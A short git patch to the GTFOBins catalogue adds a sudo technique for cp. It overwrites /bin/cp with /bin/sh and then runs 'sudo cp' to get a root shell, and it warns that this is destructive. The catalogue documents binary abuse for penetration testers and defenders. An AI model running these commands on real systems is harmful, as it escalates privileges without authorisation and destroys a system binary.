From 9b402581ce762a9299c5de38ea0a5d90fdc8e5c3 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Thu, 15 Jul 2021 14:22:46 +0200 Subject: [PATCH] Add cp sudo example similar to #235 --- _gtfobins/cp.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/_gtfobins/cp.md b/_gtfobins/cp.md index e31dc95..6fb200f 100644 --- a/_gtfobins/cp.md +++ b/_gtfobins/cp.md @@ -32,4 +32,8 @@ functions: TF=$(mktemp) echo "DATA" > $TF sudo cp $TF $LFILE + - description: This overrides `cp` itself with a shell (or any other executable) that is to be executed as root, useful in case a `sudo` rule allows to only run `cp` by path. Warning, this is a destructive action. + code: | + sudo cp /bin/sh /bin/cp + sudo cp ---